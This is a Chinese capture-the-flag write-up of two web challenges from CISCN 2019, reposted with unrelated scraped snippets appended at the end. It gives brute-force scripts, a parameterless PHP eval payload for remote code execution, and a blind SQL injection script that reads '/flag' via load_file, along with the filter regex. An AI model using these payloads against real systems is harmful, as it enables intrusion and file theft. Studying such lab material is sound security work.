2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558

2019CISCN华南线下的两个简单 web

部分题目下载地址,有的不完整 : 点我点我

web 1

  • 考点 : 无参函数的 RCE
  • 在注释中发现了 forgetpassword.php 页面

  • 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123
    import requests
    
    url = "http://127.0.0.1/ciscn/web1/useri.php"
    
    response = "没有这个用户"
    
    f = open("./username.txt", "r", encoding="utf-8")
    
    for line in f:
      line = line.strip()
    
      data = {
          "user_name" : line,
      }
    
      r = requests.post(url=url, data=data)
    
      if response in r.text:
          continue
      else:
          print(line)
          break
  • 输入 admin123 之后跳转到 useryzm.php 页面

  • 提示验证码经过 base64 加密,而且验证码是 4 位的数字,写脚本爆破一下,结果验证码为 MTQyMw==

    四位数字生成

    for i in range(0,10000):
      s = str(i).zfill(4)
      print(s)
      f = open("num.txt",'a')
      f.write(s)
      f.write('\n')   #实现换行的功能

    爆破密码

    import requests
    import base64
    
    url = 'http://127.0.0.1/ciscn/web1/yzmi.php'
    
    f = open('./num.txt', 'r', encoding="utf-8")
    
    response = "错误"
    
    for line in f:
      line = line.strip().encode('utf-8')
      line = base64.b64encode(line)
    
      data = {
          "yzm" : line.decode('utf-8'),
      }
    
      r = requests.post(url=url, data=data)
    
      if response in r.text:
          continue
      else:
          print(line)
          break
    
  • 输入后获得密码 f4h1l0t0j2g5b1m0a0m0a3d2d0

  • 返回 index.html 输入账号密码,获得新提示,但是这里忘记复制数据库了,就直接跳到下一步吧,访问 mDjNaF.php

  • mDjNaF.php 页面

  • 看一下正则,preg_replace(‘/[^\W]+\((?R)?\)/‘, ‘‘, $_GET[‘code‘])\W 匹配任意字母和数字,(?R)? 重复整个模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 phpinfo(); 可以查看 phpinfo 页面
  • 接下来就是构造无参数函数进行 RCE 了,想到可以更改 header 中的属性和值,使用无参数函数获取 header 处的值,达到 RCE 的目的。
  • 对于 Cookie 属性,我们可以随意更改,session_id() 函数可以获取 PHPSESSID,如果没有开启 session 可以使用 session_start() 函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin() 函数转化。
  • payload :
    ?code=eval(hex2bin(session_id(session_start())));
    // echo 'peri0d';
    Cookie: PHPSESSID=6563686f2027706572693064273b

  • 还可以自己传参达到 RCE,get_defined_vars() 函数返回所有已定义的变量列表,然后利用提取位置的函数就可以实现 RCE
  • payload : ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir(‘../‘))

web 4

  • 考点 : insert() 盲注
  • 一个登录页面

  • 试一试万能密码 admin‘# ,登录成功,并给出提示

  • 经过 fuzz 发现过滤了空格,union,benchmark,sleep,regexp,order等很多很多关键字,空格可以使用 /**/ 绕过
  • 给出了文件路径,可以使用 load_file 读取,再与 insert() 函数结合,使用异或,好像可以进行盲注

  • insert((select(load_file(‘/flag‘))),2,255,‘‘) 即在 flag 中,从第 2 个字符到第 255 个字符替换为空字符,即只显示第 1 个字符。insert((select(load_file(‘/flag‘))),3,255,‘‘)把第 3 个字符到第 255 个字符替换为空字符,即只显示前面两个字符。
  • 脚本如下
    import requests
    
    url = 'http://172.27.137.145/ciscn/web4/index.php'
    
    # payload = "admin'^(select('f')>(insert((select(load_file('/flag'))),2,255,'')))#"
    
    temp_list = []
    
    flag_list = []
    
    for i in range(2,255):
      payload_1 = "')>(insert((select(load_file('/flag'))),"+str(i)+",255,'')))#"
      flag = ''.join(flag_list)
      temp_list.clear()
      for j in range(32, 127):
          payload = "admin'^(select('"+flag+chr(j)+payload_1
          print(payload)
          data = {'username' : payload,}
          r = requests.post(url=url, data=data)
          if 'success' in r.text:
              temp_list.append(chr(j))
      try:
          flag_list.append(temp_list.pop())
      except:
          break
    print(''.join(flag_list))

  • 过滤语句 :
    if(preg_match("/union|benchmark|strcmp|locate|STRCMP|position|md5|mid|sub|concat|and|left|sleep|space|instr|conv|\s|right|cast|locate|limit|reverse|glob|having|match|count|pad|char|hex|regexp|order|group|ascii|information/i",$username))
    {
        die('wafed!<br>');
    }
    if(preg_match("/union|position|strcmp|locate|benchmark|STRCMP|concat|md5|mid|sub|sleep|and|left|cast|space|instr|pad|conv|\s|right|limit|reverse|locate|match|glob|having|count|char|hex|regexp|order|group|ascii|information/i",$passwd))
    {
        die('wafed!<br>');
    }

原文地址:https://www.cnblogs.com/peri0d/p/11508839.html

时间: 2024-08-30 13:25:45

2019CISCN华南线下两道web复现的相关文章

【原型设计班】线下两天+线上一年,快速上手在线答疑对比教学

陪学网Axure线下培训班开班啦!!! [Axure官方推荐培训机构] 陪学网(www.pexue.com)是美国Axure官方推荐机构,陪学网专注于产品管理类课程的开发与制作,志在为产品经理.交互设计.平面设计.需求人员分享最新.最好的产品类课程. 两天线下采用Axure RP7与Axure RP8对比教学,课程由Axure金牌讲师andy老师全程授课,深入浅出的方式讲解,操作步骤清晰.逻辑严密.教学案例丰富,以及后续线上辅导支持可长期融合工作深入理解和不断提升! 本期仅限15个名额,报满为止

CTF 两道web整数溢出题目(猫咪银行和ltshop)

①猫咪银行: (2018中科大hackgame) 一开始给十个CTB,而flag需要20个CTB,我们需要理财赚够20个. 理财是只能买入TDSU才可以获得收益.我们先上来直接把CTB全部换成TDSU. 上边是我们花了所有TDSU:66060买了19分钟后的收益.(因为一个账号最多存在20分钟,计算你用脚本极限也不能买20分钟,必须留一分钟用来换TDSU和买入,取出等操作) 还是不行,算上收益的钱1200231也不够买20个CTB. 考虑买RMX是否存在汇率差. 发现一个CTB57个RMX,一个

2019全国大学生信息安全大赛两道web

简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=index.php http://d4dc224926cd47

OPPO是如何挤掉小米的:精耕线下渠道

今年5月,IDC一份几乎是“爆炸性新闻”的智能手机出货量排名,让OPPO“被迫”走到了台前媒体的闪光灯下,在这份排名中,“OPPO挤掉了小米”,在国产手机中仅次于华为,排第二名. 这不仅是一次简单的名次超越,小米是“互联网模式”开创者,OPPO.Vivo则是精耕线下渠道的典型代表,排名变化背后,实际上是两种渠道的市场博弈,这次有人认为是线下渠道重新主导了手机市场的话语权. 然而,伴随着OPPO“出名”的还有一连串问号,OPPO为什么卖得这么好?OPPO线下渠道怎么做的?OPPO的成功能被复制吗?

从线下走到线上,艺术品能否找到新突破口?

艺术品因其具有的收藏价值.文化价值.观赏价值以及不可复制性,让收藏者愿不远万里前去赴约,许以千金只求抱得珍品归.中国作为有五千年悠久历史的古国之一,前人留下的传世艺术品不计其数,艺术品交易需求不小,但是传统的线下艺术品交易方式存在着许多弊端. 传统线下艺术品交易,不管是画廊还是拍卖的形式都受到了地域和空间的限制,知名画廊或拍卖机构大多集中在一.二线城市,譬如北京著名的798艺术区,国内外消费者在购买艺术品时都要长途奔波,耗费购买之外的时间和费用.此外,由于线下画廊属于私下交易,成交价格保密,传统

IT帮2019年2月线下活动【定义工作,解读自我】之站桩练习

2019年2月IT帮线下活动[定义工作,解读自我] 昨天的活动收获很大,全面的总结周老师会另写一篇来帮助大家回顾.我想说一下其中最打动我的一句话:“只有你能决定你有多优秀!” “工作中把自己当成企业家,把你的工作当成创业,公司给你提供了可以协作的团队.场所”.责任感程度不同,就有不同的结果.当你认为是别人派给你的活儿时,你也许可以去尽心完成,也或者会放弃.当你把事情当成你对别人的承诺.非你完成不可时,你一定会完成,甚至会有创新,想法设法地做得更好,这就是创造. 站桩练习 活动期间,周老师推荐我带

《Node.js入门》Windows 7下Node.js Web开发环境搭建笔记

近期想尝试一下在IBM Bluemix上使用Node.js创建Web应用程序.所以须要在本地搭建Node.js Web的开发測试环境. 这里讲的是Windows下的搭建方法,使用CentOS 的小伙伴请參考:<Node.js入门>CentOS 6.5下Node.js Web开发环境搭建笔记 Node.js是什么? 我们看看百科里怎么说的? JavaScript是一种执行在浏览器的脚本,它简单,轻巧.易于编辑,这样的脚本通经常使用于浏览器的前端编程.可是一位开发人员Ryan有一天发现这样的前端式

[sdut]2623+[sdut]2878//四五届省赛中的两道数学期望

两道数学期望的题今天一起总结上来. 1.the number of steps(第四届省赛) 1 #include <iostream> 2 #include <string.h> 3 #include <iomanip> 4 using namespace std; 5 double dp[100][100]; 6 int n; 7 double a,b,c,d,e; 8 9 int main() 10 { 11 while(cin>>n&&

转:在MyEclipse下创建Java Web项目 入门(图文并茂)经典教程

本文是一篇在Myeclipse下构建Java Web项目的初级教程.图文并茂,非常详细.所用的Myeclipse版本是7.5. 第一步:新建Web Project,如下图. 第二步,在弹出的窗口填写下面内容.Project Name填写的内容是项目名称:J2EE Specification Level选择Java EE 5.0,点击“Fininsh”按钮,进入下一步. 第三步,新建的项目结构如下图.项目包含下面几个包,一个src,一个Webroot,还有JRE...和Java EE...这个两个